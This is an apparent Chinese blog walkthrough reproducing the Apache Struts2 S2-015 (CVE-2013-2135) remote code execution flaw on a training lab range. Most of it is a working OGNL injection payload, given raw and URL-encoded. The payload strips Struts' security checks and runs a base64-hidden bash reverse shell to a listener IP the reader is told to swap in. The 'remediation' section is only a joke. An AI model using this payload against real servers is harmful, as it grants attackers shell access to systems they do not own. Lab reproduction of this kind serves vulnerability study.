[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含"${}"和"%{}"序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

html 复制代码
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

html 复制代码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议

把靶场关了,跟漏洞说"白白吧

相关推荐
Amberish12 小时前
26Java细节知识点总结
java
钱栈up12 小时前
qoder CLI 1.0.45 本地小说生成工作流搭建:Feature Gate 配置与长文本断连排查从死锁到全流程跑通:Python德州扑克项目的优化
java·前端·数据库
奋进的电子工程师12 小时前
助力汽车软件出海合规,构筑数字世界的软件安全基座
网络·安全·汽车
代码调试师12 小时前
【毕设分享】springboot攀枝花生鲜电商平台58990
java·vue.js·spring boot·后端·架构·eclipse·课程设计
xcl092512 小时前
全民健身解决方案小程序系统开发实战:从架构设计到上线指南
java·spring boot
洛阳泰山13 小时前
别卷 Python 了:我用 Java 21 + Spring Boot 3 打造了一个企业级 RAG + 智能体工作流引擎(附架构与源码解析)
java·spring boot·后端
MetaLite13 小时前
Spring Cache只留注解-MetaLite如何二开缓存运行时
java·spring·缓存
Wang's Blog13 小时前
Java框架快速入门: Spring Security+OAuth2之自定义数据库表结构实现认证
java·数据库·spring
白远山13 小时前
家政服务派单平台搭建实战指南:从需求分析到系统设计全流程解析
java·开发语言·架构·uni-app·需求分析
树若逝花若殇13 小时前
基于Spring AOP优雅记录请求响应日志
java·spring boot